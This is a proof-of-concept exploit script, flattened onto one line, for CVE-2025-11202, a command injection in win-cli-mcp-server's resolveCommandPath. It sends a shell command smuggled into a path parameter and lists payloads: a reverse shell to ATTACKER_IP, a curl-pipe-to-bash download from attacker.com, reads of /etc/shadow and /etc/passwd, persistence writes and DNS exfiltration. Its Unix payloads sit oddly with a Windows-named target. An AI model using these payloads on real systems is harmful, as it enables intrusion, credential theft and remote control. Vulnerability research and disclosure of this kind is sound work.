CVE-2025-11202: win-cli-mcp-server resolveCommandPath命令注入远程代码执行漏洞

#!/usr/bin/env python3 # CVE-2025-11202 PoC - Command Injection in win-cli-mcp-server resolveCommandPath # This PoC demonstrates the command injection vulnerability import requests import json TARGET_URL = "http://target-server:port/api" def exploit_command_injection(): """ Exploit the command injection vulnerability in resolveCommandPath The vulnerability allows injection of arbitrary OS commands through unsanitized user input passed to system calls. """ # Malicious payload that injects a command via path parameter # Using semicolon to chain commands malicious_path = "; whoami > /tmp/pwned.txt #" # Alternative payloads: # Reverse shell: "; bash -i >& /dev/tcp/attacker-ip/port 0>&1 #" # File write: "; echo 'malicious' > /tmp/backdoor.sh #" # System info exfil: "; cat /etc/passwd #" payload = { "method": "resolveCommandPath", "params": { "path": malicious_path } } try: response = requests.post( TARGET_URL, json=payload, timeout=10 ) print(f"[*] Request sent to {TARGET_URL}") print(f"[*] Payload: {malicious_path}") print(f"[*] Response status: {response.status_code}") print(f"[*] Response: {response.text}") # Check if the command was executed if response.status_code == 200: print("[+] Exploit likely successful!") print("[+] Check /tmp/pwned.txt on target system") else: print("[-] Exploit may have failed or target not vulnerable") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") def generate_payloads(): """Generate various command injection payloads for testing""" payloads = { # Basic command injection "basic_injection": "; id", # Reverse shell (attacker needs listener) "reverse_shell": "; bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1", # File write for persistence "write_file": "; echo 'backdoor' > /tmp/.hidden", # Read sensitive files "read_shadow": "; cat /etc/shadow", # Download and execute "download_exec": "; curl http://attacker.com/shell.sh|bash", # DNS exfiltration "dns_exfil": "; cat /etc/passwd | base64 | xargs nslookup $(whoami).attacker.com" } print("[*] Available payloads for manual testing:") for name, payload in payloads.items(): print(f" {name}: {payload}") if __name__ == "__main__": print("=" * 60) print("CVE-2025-11202 Command Injection PoC") print("Target: win-cli-mcp-server resolveCommandPath") print("=" * 60) # Run exploit exploit_command_injection() # Show additional payloads generate_payloads()